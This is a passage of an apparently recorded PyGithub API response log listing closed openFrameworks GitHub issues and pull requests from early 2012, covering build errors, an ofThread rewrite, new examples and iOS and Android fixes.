Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1049,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1049","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"merge ofxiOS into ofxiPhone","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-11T15:24:35Z","created_at":"2012-03-10T06:16:51Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3593571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T13:36:33Z","body":"the original example hat a rotating cube and a matrix transfomation, i made some moving lines instead.\r\nthey better show the difference between the floating point fbo and the non floating point fbo.\r\nthey also show the difference between the internal format RGB and RGBA.\r\nadded text on the screen to observe the changes in color values.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1046","comments":0,"milestone":null,"number":1046,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1046","assignee":null,"title":"Better fboTrailsExample","labels":[],"closed_at":"2012-03-09T13:36:33Z","created_at":"2012-03-09T13:04:04Z","state":"closed","user":{"url":"https://api.github.com/users/liasomething","gravatar_id":"248569b4b21882f854f3a0eee701cc37","login":"liasomething","id":183150,"avatar_url":"https://secure.gravatar.com/avatar/248569b4b21882f854f3a0eee701cc37?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3582780,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1046.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1046","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1046.patch"}},{"updated_at":"2012-03-09T23:08:00Z","body":"this took a bit of fiddling but finally got it sorted.\r\nscreenGrab now works in all orientations.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1045","comments":3,"milestone":null,"number":1045,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1045","assignee":null,"title":"bugfix for issue #135 - ios screengrab","labels":[],"closed_at":"2012-03-09T13:31:02Z","created_at":"2012-03-08T23:49:45Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3574720,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1045.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1045","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1045.patch"}},{"updated_at":"2012-03-26T14:46:46Z","body":"Running install_dependencies.sh it trys to cd to a non existant directory:\r\n\r\n[snipped]\r\nlibglu1-mesa-dev is already the newest version.\r\nlibgl1-mesa-dev is already the newest version.\r\nlibcairo2-dev is already the newest version.\r\nlibdrm-dev is already the newest version.\r\n0 upgraded, 0 newly installed, 0 to remove and 28 not upgraded.\r\ncd: 11: can't cd to ../../../libs/openFrameworksCompiled/project/linux\r\nmake: *** No rule to make target `Debug'. Stop.\r\nthere has been a problem compiling Debug OF library\r\nplease report this problem in the forums\r\n\r\n\r\nIf I create a symlink:\r\n# ln -s ../../../libs/openFrameworksCompiled/project/linux64 ../../../libs/openFrameworksCompiled/project/linux\r\n\r\nThings get further but still get stuck:\r\n\r\n[snipped]\r\n0 upgraded, 0 newly installed, 0 to remove and 28 not upgraded.\r\necho \"creating \" ../../lib/linux/libopenFrameworksDebug.a\r\ncreating ../../lib/linux/libopenFrameworksDebug.a\r\nar -r \"../../lib/linux/libopenFrameworksDebug.a\" obj/Debug/openFrameworks/communication/ofSerial.o obj/Debug/openFrameworks/communication/ofArduino.o obj/Debug/openFrameworks/sound/ofSoundPlayer.o obj/Debug/openFrameworks/sound/ofRtAudioSoundStream.o obj/Debug/openFrameworks/sound/ofBaseSoundStream.o obj/Debug/openFrameworks/sound/ofOpenALSoundPlayer.o obj/Debug/openFrameworks/sound/ofSoundStream.o obj/Debug/openFrameworks/sound/ofPASoundStream.o obj/Debug/openFrameworks/sound/ofFmodSoundPlayer.o obj/Debug/openFrameworks/sound/ofBaseSoundPlayer.o obj/Debug/openFrameworks/video/ofVideoPlayer.o obj/Debug/openFrameworks/video/ofGstVideoGrabber.o obj/Debug/openFrameworks/video/ofQtUtils.o obj/Debug/openFrameworks/video/ofVideoGrabber.o obj/Debug/openFrameworks/video/ofGstUtils.o obj/Debug/openFrameworks/video/ofGstVideoPlayer.o obj/Debug/openFrameworks/video/ofQuickTimeGrabber.o obj/Debug/openFrameworks/video/ofQuickTimePlayer.o obj/Debug/openFrameworks/video/ofDirectShowGrabber.o obj/Debug/openFrameworks/types/ofRectangle.o obj/Debug/openFrameworks/types/ofBaseTypes.o obj/Debug/openFrameworks/types/ofColor.o obj/Debug/openFrameworks/types/ofPoint.o obj/Debug/openFrameworks/3d/ofCamera.o obj/Debug/openFrameworks/3d/ofMesh.o obj/Debug/openFrameworks/3d/ofNode.o obj/Debug/openFrameworks/3d/ofEasyCam.o obj/Debug/openFrameworks/3d/of3dUtils.o obj/Debug/openFrameworks/app/ofAppGlutWindow.o obj/Debug/openFrameworks/app/ofAppRunner.o obj/Debug/openFrameworks/gl/ofGLRenderer.o obj/Debug/openFrameworks/gl/ofLight.o obj/Debug/openFrameworks/gl/ofFbo.o obj/Debug/openFrameworks/gl/ofVbo.o obj/Debug/openFrameworks/gl/ofTexture.o obj/Debug/openFrameworks/gl/ofMaterial.o obj/Debug/openFrameworks/gl/ofVboMesh.o obj/Debug/openFrameworks/gl/ofShader.o obj/Debug/openFrameworks/graphics/ofImage.o obj/Debug/openFrameworks/graphics/ofPixels.o obj/Debug/openFrameworks/graphics/ofTrueTypeFont.o obj/Debug/openFrameworks/graphics/ofCairoRenderer.o obj/Debug/openFrameworks/graphics/ofGraphics.o obj/Debug/openFrameworks/graphics/ofPolyline.o obj/Debug/openFrameworks/graphics/ofBitmapFont.o obj/Debug/openFrameworks/graphics/ofPath.o obj/Debug/openFrameworks/graphics/ofTessellator.o obj/Debug/openFrameworks/math/ofMatrix3x3.o obj/Debug/openFrameworks/math/ofVec4f.o obj/Debug/openFrameworks/math/ofVec2f.o obj/Debug/openFrameworks/math/ofMath.o obj/Debug/openFrameworks/math/ofMatrix4x4.o obj/Debug/openFrameworks/math/ofQuaternion.o obj/Debug/openFrameworks/events/ofEvents.o obj/Debug/openFrameworks/utils/ofUtils.o obj/Debug/openFrameworks/utils/ofSystemUtils.o obj/Debug/openFrameworks/utils/ofFileUtils.o obj/Debug/openFrameworks/utils/ofLog.o obj/Debug/openFrameworks/utils/ofThread.o obj/Debug/openFrameworks/utils/ofURLFileLoader.o\r\nar: ../../lib/linux/libopenFrameworksDebug.a: No such file or directory\r\nmake: *** [../../lib/linux/libopenFrameworksDebug.a] Error 1\r\nthere has been a problem compiling Debug OF library\r\nplease report this problem in the forums\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1044","comments":3,"milestone":null,"number":1044,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1044","assignee":null,"title":"Problem installing dependencies on 64bit ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":"2012-03-26T14:46:46Z","created_at":"2012-03-08T14:22:57Z","state":"closed","user":{"url":"https://api.github.com/users/stuaxo","gravatar_id":"bf2a73b1327be388096c602e986bc06f","login":"stuaxo","id":179677,"avatar_url":"https://secure.gravatar.com/avatar/bf2a73b1327be388096c602e986bc06f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3563392,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:58:22Z","body":"When trying to compile either release or debug, easyCamExample_vs2010 exits build phase with the following error:\r\n\r\n2> Generating Code...\r\n2> Creating library bin\\easyCamExample_vs2010.lib and object bin\\easyCamExample_vs2010.exp\r\n2>openframeworksLib.lib(of3dUtils.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofDrawGridPlane(float,float,bool)\" (?ofDrawGridPlane@@YAXMM_N@Z) referenced in function \"void __cdecl ofDrawGrid(float,float,bool,bool,bool,bool)\" (?ofDrawGrid@@YAXMM_N000@Z)\r\n2>bin\\easyCamExample_vs2010.exe : fatal error LNK1120: 1 unresolved externals\r\n\r\nSame result for advanced3dExample\r\n\r\nMost recent version from Git 7/3/2012, please let me know if you need more information\r\n\r\nCheers guys.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1043","comments":13,"milestone":null,"number":1043,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1043","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCamExample_vs2010 example build error","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":"2012-03-09T11:58:22Z","created_at":"2012-03-08T02:35:02Z","state":"closed","user":{"url":"https://api.github.com/users/voidsetupdraw","gravatar_id":"baa95342acc3e8871036d7e54cd093ed","login":"voidsetupdraw","id":1080703,"avatar_url":"https://secure.gravatar.com/avatar/baa95342acc3e8871036d7e54cd093ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3555209,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T15:03:28Z","body":"See here: https://github.com/openframeworks/openFrameworks/tree/master/apps/iPhoneSpecificExamples/iPadExample","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1042","comments":3,"milestone":null,"number":1042,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1042","assignee":null,"title":"iPhoneSpecificExamples/iPadExample is missing 'src' folder","labels":[],"closed_at":"2012-03-08T12:32:49Z","created_at":"2012-03-07T20:58:40Z","state":"closed","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","login":"prisonerjohn","id":119702,"avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3550444,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T14:33:27Z","body":"closes the long requested feature #751\r\n\r\ni even made a cute example https://secure.flickr.com/photos/kylemcdonald/6962137427/in/photostream\r\n\r\ncairo needs an implementation as well, right now it just ignores the extra arguments.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1041","comments":14,"milestone":null,"number":1041,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1041","assignee":null,"title":"image subsection drawing","labels":[],"closed_at":"2012-04-09T17:09:44Z","created_at":"2012-03-07T17:39:41Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3547308,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1041.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1041","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1041.patch"}},{"updated_at":"2012-03-06T22:46:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1040","comments":0,"milestone":null,"number":1040,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1040","assignee":null,"title":"Fixing comments and Changing ofEvents. for ofEvents(). on Golan´s examples","labels":[],"closed_at":"2012-03-06T22:46:10Z","created_at":"2012-03-06T21:02:53Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914,"avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3532561,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1040.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1040","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1040.patch"}},{"updated_at":"2012-03-05T18:17:43Z","body":"its a trigger so there is no need to do this:\r\n\r\nvoid testApp::buttonHit(bool & pressed){\r\n\r\n}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1038","comments":2,"milestone":null,"number":1038,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1038","assignee":null,"title":"ofxGui, ofxButton callback shouldn't need a bool argument","labels":[],"closed_at":"2012-03-05T18:17:43Z","created_at":"2012-03-05T18:08:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3510973,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:20:33Z","body":"\r\nApropos this forum discussion: http://forum.openframeworks.cc/index.php/topic,9160.new.html#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1035","comments":0,"milestone":null,"number":1035,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1035","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"adding multiple i/o devices to rtSoundStream","labels":[],"closed_at":"2012-03-12T12:20:33Z","created_at":"2012-03-05T03:14:25Z","state":"closed","user":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3501043,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1035.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1035","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1035.patch"}},{"updated_at":"2012-03-10T00:31:26Z","body":"i often have to use Poco::Mutex if i want to lock different variables in a thread\r\nperhaps it's time we had an ofThreadLock which ofThread uses internally?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1032","comments":9,"milestone":null,"number":1032,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1032","assignee":null,"title":"feature ofThreadLock","labels":[],"closed_at":"2012-03-04T10:33:12Z","created_at":"2012-03-04T09:39:30Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3495251,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T15:12:25Z","body":"Howdy all,\r\n\r\nI started rewriting ofThread in Detroit but stopped do to other priorities. Now it's essentially done and much cleaner then what I started with .. wheew. In any case, it's been rewritten using Poco::Thread and Poco::Runnable and the resulting code is much cleaner and hopefully easier to maintain ... no platform specific stuff.\r\n\r\nPoco::Thread provides some nice things like unique ids, thread sleep(), yield(), and knowing which thread you are in. The verbosity prints now uses an ofLog module with the current thread id and the mutex lock()/unlock() verbose prints now tell you if the thread itself or another thread is trying to lock/unlock it.\r\n\r\nThe verbose output looks like this:\r\n
\r\nThread 1: OF_VERBOSE: started\r\nThread 1: OF_VERBOSE: thread waiting for mutex to be unlocked\r\nThread 1: OF_VERBOSE: thread locked mutex\r\nThread 1: OF_VERBOSE: thread unlocked mutex\r\nThread 1: OF_VERBOSE: waiting for mutex to be unlocked\r\nThread 1: OF_VERBOSE: mutex locked\r\nThread 1: OF_VERBOSE: mutex unlocked\r\n
\r\n\r\nSorry Kyle, getCurrentThread() returns a pointer. How else can you either return an object or not if there isn't one? :D\r\n\r\nIn any case, I tested this with the threadExample and it's working fine. I'd appreciate others trying it out, especially on Windows. I noticed a bug last week on Windows with the original ofThread where starting the same thread multiple times *spawns new threads*. I assume Poco::Thread dosen't let that happen so this bug should be gone.\r\n\r\nAlso, from talking with Damian about what's needed for Threads, I added an ofSemaphore typedef of Poco::Semaphore.\r\n\r\nP.S. The commenting comes from me working out how ofThread is supposed to work internally by reading the code for both the rewrite and the site documentation. I normally do this when I write an API and I figured I'd leave it in for now. I can remove it if the \"no header commenting\" unwritten rule is in force ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1031","comments":15,"milestone":null,"number":1031,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1031","assignee":null,"title":"ofThread rewrite & ofSemaphore typedef","labels":[],"closed_at":"2012-03-11T13:15:21Z","created_at":"2012-03-04T04:10:39Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3494366,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1031.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1031","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1031.patch"}},{"updated_at":"2012-03-07T01:58:41Z","body":"the pdf example was too complicated for beginners (eg. dropZone, drag and drop, matrix stuff for rotation, vectors of images and tail...) and it had no comments.\r\n\r\ni simplified by only having one rectangle moving randomly.\r\ni tried to make even basic stuff understandable by adding a lot of comments.\r\n\r\ni also demonstrated rendering multiple frames into a single page pdf versus a multipage pdf.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1030","comments":2,"milestone":null,"number":1030,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1030","assignee":null,"title":"example: simpler pdf example plus added comments","labels":[],"closed_at":"2012-03-07T01:58:41Z","created_at":"2012-03-03T21:15:06Z","state":"closed","user":{"url":"https://api.github.com/users/liasomething","gravatar_id":"248569b4b21882f854f3a0eee701cc37","login":"liasomething","id":183150,"avatar_url":"https://secure.gravatar.com/avatar/248569b4b21882f854f3a0eee701cc37?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3492273,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1030.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1030","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1030.patch"}},{"updated_at":"2012-03-03T16:05:10Z","body":"currently it's `ofSaveImage(ofPixels& pixels, string filename)`, etc\r\nshould be `ofSaveImage(const ofPixels& pixels, string filename)`\r\n\r\nthere's lots of const correctness issues in general\r\ni'm not sure if littlering the git issue log with them all individually is a good idea\r\nperhaps an issue like 'fix general const correctness'","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1027","comments":1,"milestone":null,"number":1027,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1027","assignee":null,"title":"ofSaveImage doesn't accept const","labels":[],"closed_at":"2012-03-03T16:05:10Z","created_at":"2012-03-03T11:48:14Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3489150,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T23:17:56Z","body":"Very minor OpenGL ES tweaks were needed. I figured it would be nice to have a somewhat complicated Android OpenGL example that people could play with","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1026","comments":3,"milestone":null,"number":1026,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1026","assignee":null,"title":"Porting advanced3D example to work with android","labels":[],"closed_at":"2012-03-02T23:17:31Z","created_at":"2012-03-02T18:35:58Z","state":"closed","user":{"url":"https://api.github.com/users/bostonbusmap","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262,"avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3481276,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1026.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1026","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1026.patch"}},{"updated_at":"2012-03-02T18:43:11Z","body":"these seem to be missing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1025","comments":0,"milestone":null,"number":1025,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1025","assignee":null,"title":"add ofxGui .cpp files to project generator","labels":[],"closed_at":"2012-03-02T18:43:11Z","created_at":"2012-03-02T17:18:52Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3480161,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1025.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1025","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1025.patch"}},{"updated_at":"2012-03-09T13:37:25Z","body":"it is a hack but at least runs. Kieth I think that you need to look at this.\r\n\r\n`GL_COLOR_ATTACHMENT0_OES` and `glDrawBuffers` does not look supported in OpenglES 2","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1023","comments":2,"milestone":null,"number":1023,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1023","assignee":null,"title":"#ifndef out the GL_COLOR_ATTACHMENT0_OES and glDrawBuffers(...) stuff","labels":[],"closed_at":"2012-03-09T13:37:25Z","created_at":"2012-03-02T16:52:06Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3479714,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1023.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1023","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1023.patch"}},{"updated_at":"2012-03-02T00:11:14Z","body":"I'm just adding parentheses. I'm assuming that's the correct fix since I saw it in this commit: https://github.com/openframeworks/openFrameworks/commit/6879f3ce6e05e5b17b884efee86039a97444980b\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1021","comments":0,"milestone":null,"number":1021,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1021","assignee":null,"title":"Fixing android compilation error","labels":[],"closed_at":"2012-03-02T00:11:14Z","created_at":"2012-03-01T23:50:47Z","state":"closed","user":{"url":"https://api.github.com/users/bostonbusmap","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262,"avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3468314,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1021.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1021","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1021.patch"}},{"updated_at":"2012-03-02T00:52:15Z","body":"tons of warnings for bad conversions and missing delegates and comments crap. now there are only two warnings for missing architecture.\r\n\r\nIgnoring file ../../../libs/FreeImage/lib/iphone/freeimage.a, missing required architecture i386 in file\r\nIgnoring file ../../../libs/glu/lib/iphone/glu-iphone.a, missing required architecture i386 in file\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1020","comments":0,"milestone":null,"number":1020,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1020","assignee":null,"title":"all warning removed from IOS project","labels":[],"closed_at":"2012-03-02T00:52:15Z","created_at":"2012-03-01T22:59:42Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3467172,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1020.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1020","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1020.patch"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '29257'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"03a690b7fa3bc5d859c28d976f3872d7"'), ('date', 'Tue, 29 May 2012 18:46:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T14:01:30Z","body":"Added some features in ofLight\r\n- don't have to set light position every frame, called automatically through enable()\r\n- moved init function to constructor to create lights\r\n- added spotConcentration (exponent) vars and clamping for spotlights\r\n- added spotCutoff vars and clamping for spotLight\r\n\r\nExamples\r\nMultiLight Example\r\n- Uses all three light types, point, spot and directional\r\n- turn on/off textured objects\r\nhttp://www.flickr.com/photos/95943853@N00/6944163657/\r\nhttp://www.flickr.com/photos/95943853@N00/6944163519/in/photostream/\r\n\r\nSingle Light Example\r\n- point light highlighting rotating spheres\r\n- color changing\r\nhttp://www.flickr.com/photos/95943853@N00/6944163745/in/photostream/\r\nhttp://www.flickr.com/photos/95943853@N00/6944163709/in/photostream/","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1018","comments":4,"milestone":null,"number":1018,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1018","assignee":null,"title":"Light examples","labels":[],"closed_at":"2012-03-09T14:01:30Z","created_at":"2012-03-01T17:15:34Z","state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","id":142694},"id":3458298,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1018","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1018.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1018.diff"}},{"updated_at":"2012-03-01T15:59:02Z","body":"Ran across this writing documentation for ofFileDialogResult https://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/utils/ofSystemUtils.h\r\n\r\nWould filePath/fileName ever needed to be set programmatically or should they be set to 